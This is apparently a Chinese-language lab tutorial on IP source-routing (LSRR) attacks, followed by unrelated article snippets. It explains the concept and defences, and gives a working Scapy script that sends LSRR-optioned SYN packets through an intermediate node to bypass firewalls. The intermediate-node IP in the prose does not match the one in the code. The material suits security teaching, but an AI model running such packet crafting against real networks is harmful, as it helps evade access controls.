使用 Scapy 库编写源路由攻击脚本

一、介绍

源路由攻击是一种网络攻击方法,攻击者通过利用IP数据包中的源路由选项来控制数据包的传输路径,从而绕过安全设备或防火墙,直接访问目标系统。源路由功能允许数据包的发送方指定数据包通过的路径,而不是由路由器根据路由表动态决定路径。虽然源路由在某些网络管理和诊断中有其合法用途,但也可以被恶意利用进行攻击。

1.1 源路由类型

  1. 松散源路由(Loose Source Routing, LSRR)
    • 数据包必须经过指定的一些中间节点,但在这些节点之间的路径由路由器自行决定。
  2. 严格源路由(Strict Source Routing, SSRR)
    • 数据包必须严格按照指定的路径经过所有中间节点。

1.2 攻击原理

在源路由攻击中,攻击者利用源路由选项创建数据包,并指定这些数据包应通过的路径。通过这种方式,攻击者可以:

  • 绕过防火墙和其他安全设备。
  • 访问本来无法直接访问的网络部分。
  • 进行网络探测和信息收集。
  • 实施其他类型的网络攻击,如中间人攻击。

1.3 防御措施

为了防止源路由攻击,可以采取以下措施:

  1. 禁用源路由功能

    • 在网络设备(如路由器、防火墙)上禁用源路由功能。这通常可以通过设备的配置接口完成。
  2. 配置防火墙规则

    • 配置防火墙规则以丢弃包含源路由选项的数据包。许多现代防火墙默认会丢弃这些数据包。
  3. 使用入侵检测系统(IDS)

    • 部署入侵检测系统,如Snort,监控网络流量,检测和报警包含源路由选项的数据包。
  4. 网络分段和隔离

    • 通过网络分段和隔离,限制攻击者能够到达的网络范围,减少攻击面。

二、实验环境

  • 攻击者IP地址:192.168.1.103
  • 中间节点IP地址:192.168.134.147
  • 目标IP地址:192.168.1.128

三、实验步骤

  1. 配置攻击环境:确保攻击者计算机安装了Scapy,并且能够访问中间节点和目标。

  2. 使用Scapy构造带有源路由选项的IP包

    我们将构造一百个数据包,使其经过中间节点192.168.1.133再到达目标192.168.1.128

from scapy.all import *
from scapy.layers.inet import IPOption
import time

# 攻击者IP地址(源IP)
attacker_ip = "192.168.1.103"

# 中间节点IP地址
middle_node_ip = "192.168.134.147"

# 目标IP地址
target_ip = "192.168.1.128"

# 构造带有源路由选项的IP包
lsrr_option = IPOption(b'\x83\x0c\x04' + inet_aton(middle_node_ip) + inet_aton(target_ip))

ip_layer = IP(src=attacker_ip, dst=target_ip, options=[lsrr_option])
tcp_layer = TCP(dport=8030, flags='S')

# 创建完整的数据包
packet = ip_layer / tcp_layer

# 发送一百个数据包,每个之间间隔0.1秒
for _ in range(100):
    send(packet)
    time.sleep(0.1)  # 设置间隔时间,单位为秒

代码解析:

  1. 导入模块
    • from scapy.all import *:导入Scapy的所有功能。
    • from scapy.layers.inet import IPOption:从Scapy的inet层导入IPOption类,用于设置IP选项。
    • import time:导入Python标准库的time模块,用于控制时间间隔。
  2. 定义IP地址
    • attacker_ip:定义攻击者的IP地址。
    • middle_node_ip:定义中间节点的IP地址。
    • target_ip:定义目标的IP地址。
  3. 构造源路由选项
    • IPOption:创建一个IP选项实例。
    • b'\x83\x0c\x04':表示LSRR选项的类型和长度。
      • \x83:LSRR选项类型(131)。
      • \x0c:选项长度(12字节)。
      • \x04:指针位置(指向中间节点的IP地址)。
    • inet_aton(middle_node_ip):将中间节点IP地址转换为二进制格式。
    • inet_aton(target_ip):将目标IP地址转换为二进制格式。
    • 将这些部分连接起来,形成完整的LSRR选项。
  4. 构造IP层
    • IP:创建一个IP包实例。
    • src=attacker_ip:设置源IP地址。
    • dst=target_ip:设置目标IP地址。
    • options=[lsrr_option]:设置IP选项为之前构造的LSRR选项。
  5. 构造TCP层
    • TCP:创建一个TCP包实例。
    • dport=8030:设置目标端口为8030。
    • flags='S':设置TCP标志为SYN(表示连接请求)。
  6. 创建完整的数据包
    • 使用/操作符将IP层和TCP层组合起来,形成一个完整的数据包。
  7. 发送数据包
    • for _ in range(100):创建一个循环,循环100次。
    • send(packet):使用Scapy的send函数发送构造好的数据包。
    • time.sleep(0.1):在每次发送后,暂停0.1秒。这是为了控制发送速率,避免过快的发送可能导致网络拥堵或被检测。

注意:确认你所使用的网络设备是否支持源路由选项。一些现代网络设备默认会禁用这种功能 

四、防御源路由攻击

  1. 禁用源路由选项

    • 在路由器和防火墙中禁用IP包的源路由选项。
  2. 过滤和监控

    • 使用入侵检测系统(IDS)和防火墙规则过滤包含源路由选项的数据包。
    • 定期监控网络流量,检测和响应异常行为。
  3. 使用加密和认证

    • 使用安全协议(如HTTPS、SSH)加密通信,防止中间人攻击。
    • 在关键服务中实施强身份认证机制。

五、总结

通过上述实验,我们展示了如何利用源路由选项进行网络攻击。这种攻击可以用于多种目的,包括绕过访问控制和实施中间人攻击。为了保护网络免受源路由攻击,网络管理员应采取适当的安全措施,如禁用源路由选项、使用入侵检测系统以及加密网络通信。

再次强调,这些技术和方法应仅用于合法的安全测试和研究,未经授权的使用是非法的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/667238.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

达梦数据库(六) -------- 数据迁移MYSQL->达梦数据库

前言:确保安装好达梦数据库,达梦数据库(三) -------- 安装和初始化达梦数据库_达梦数据库安装-CSDN博客,需要安装达梦的数据库软件包,直接安装达梦8是包含这个功能的。安装包下载地址如下需要注册: https://www.damen…

在鲲鹏服务器搭建k8s高可用集群分享

高可用架构 本文采用kubeadm方式搭建k8s高可用集群,k8s高可用集群主要是对apiserver、etcd、controller-manager、scheduler做的高可用;高可用形式只要是为: 1. apiserver利用haproxykeepalived做的负载,多apiserver节点同时工作…

UnityLeapMotion流程记录

突然接到一个LeapMotion的项目,回想起上次做LeapMotion还是在几年前,但是当时没有去记录,所以这次就相当于是重新走了一遍流程。很苦恼,赶紧记录下来。防止之后忘记。这次的需求还是比较简单的,用手滑动控制图片序列播…

高速服务区智慧公厕管理系统引导屏UI界面展示

在现代社会,高速服务区作为人们出行途中的重要休憩场所,其各项设施的智能化水平也在不断提升。其中,智慧公厕管理系统的出现,为人们带来了更加便捷、舒适的如厕体验,而引导屏 UI 界面更是这一系统的重要展示窗口。 智慧…

FinalShell 配置SSH密钥登陆

转载请标明出处:http://blog.csdn.net/donkor_/article/details/139355489 文章目录 前言生成密钥服务器配置公钥本地配置私钥存储私钥FinalShell配置 总结 前言 本机FinalShell 配置SSH密钥登陆服务器,这样就不再需要使用密码进行登陆了。由于FinalSh…

hadoop(1)--hdfs部署(亲测可用)

一、准备: 1、三台集群部署,配置hosts #cat /etc/hosts 192.168.46.128 node1 #nameNode dataNode secondaryNameNode 192.168.46.129 node2 #datanode 192.168.46.130 node3 #datanode说明: NameNode: 主节点管理者 DataNode&…

AI+教育:OpenAI推出ChatGPT Edu教育版

大家好,我是木易,一个持续关注AI领域的互联网技术产品经理,国内Top2本科,美国Top10 CS研究生,MBA。我坚信AI是普通人变强的“外挂”,所以创建了“AI信息Gap”这个公众号,专注于分享AI全维度知识…

Java web应用性能分析之【压测工具ab】

常用的性能测试工具有:JMeter、loadRunner、ab;对于开发人员来说用的多的是免费的Jmeter和ab,对于测试来说可能用收费的商业软件loadRunner多。在这里我们就说说ab压测工具,因为ab基本满足web接口测试要求,jmeter后面再…

开发者工具-sources(源代码选项)

一、概要说明 源代码面板从视觉效果上分为三个区域:菜单区、内容区、监听区。 菜单区里面有5个子分类: 网页(Page):指页面源,包含了该页面中所有的文件,即使多个域名下的文件也都会展示出来,包括iframe…

【网络层】IP地址基础 与 子网掩码

文章目录 IP地址基础IP地址概念IP地址分类公网地址和私网地址 子网掩码子网掩码作用默认子网掩码网络地址、主机地址、广播地址 IP地址基础 IP地址概念 IP地址:IP Address 在网络中,通信节点都需要有一个IP地址 IP地址以点分十进制表示,有…

openresty(Nginx) 配置 特殊URL 密码访问 使用htpasswd 配置 Basic_Auth登录认证

1 使用htpasswd 生成密码文件.htpasswd是Apache附带的工具。如果没有可以安装。 #centos 8.5 系统 yum install httpd-tools #Ubuntu 24.04 系统 sudo apt update sudo apt-get install apache2-utils #生成密码文件,用户test sudo htpasswd -c /usr/local/openresty/nginx/…

Python魔法之旅-魔法方法(07)

目录 一、概述 1、定义 2、作用 二、应用场景 1、构造和析构 2、操作符重载 3、字符串和表示 4、容器管理 5、可调用对象 6、上下文管理 7、属性访问和描述符 8、迭代器和生成器 9、数值类型 10、复制和序列化 11、自定义元类行为 12、自定义类行为 13、类型检…

Matlab操作Excel筛选指定数据的对应数据

Matlab中在表格中寻找指定汉字,并返回其所在行数, 将该行数的另一列提取出来。 目录 一、前言 二、直接在命令行输出 三、保存筛选数据excel 一、前言 源数据excel: 指定汉子:买,得到下面数据: 二、直接…

特征工程技巧——OneHot编码

我们以Kaggle比赛里面的一个数据集跟一个公开代码为例去解释我们的OneHot编码。 简单来说,独热编码是一种将类别型变量转换为二进制表示的方法,其中每个类别被表示为一个向量,向量的长度等于类别的数量,其中只有一个元素为1&…

Kafka篇:Kafka搭建、使用、及Flink整合Kafka文档

一、Kafka搭建 1、上传并解压改名 tar -xvf kafka_2.11-1.0.0.tgz mv kafka_2.11-1.0.0 kafka-1.0.0 2、配置环境变量 vim /etc/profile export KAFKA_HOME/usr/local/soft/kafka-1.0.0 export PATH$PATH:$KAFKA_HOME/bin source /etc/profile (使环境变量生效…

05.k8s弹性伸缩

5.k8s弹性伸缩 k8s弹性伸缩,需要附加插件heapster监控 弹性伸缩:随着业务访问量的大小,k8s系统中的pod比较弹性,会自动增加或者减少pod数量; 5.1 安装heapster监控 1:上传并导入镜像,打标签 ls *.tar.gz for n in ls *.tar.gz…

Linux下的Git应用

1、卸载 2、安装 3、创建并初始化 4、配置 (附加删除语句) 5、查看(tree .git/) 6、增加和提交 7、打印日志 8、验证已操作工作

7、css3实现边框不停地跑动效果

效果例图&#xff1a; 1、上html代码&#xff1a; <!DOCTYPE html> <html lang"zh"> <head><meta charset"UTF-8" /><meta name"viewport" content"widthdevice-width, initial-scale1.0" /><meta …

unity打包的WebGL部署到IIS问题

部署之后会出错&#xff0c;我遇到的有以下几种&#xff1b; 进度条卡住不动 明明已经部署到了IIS上&#xff0c;为什么浏览网页的时候还是过不去或者直接报错。 进度条卡住不动的问题其实就是wasm和data的错误。 此时在浏览器上按F12进入开发者模式查看错误&#xff08;下图…

USB主机模式——Android

理论 摘自&#xff1a;USB 主机和配件概览 | Connectivity | Android Developers (google.cn) Android 通过 USB 配件和 USB 主机两种模式支持各种 USB 外围设备和 Android USB 配件&#xff08;实现 Android 配件协议的硬件&#xff09;。 在 USB 主机模式下&#xff0…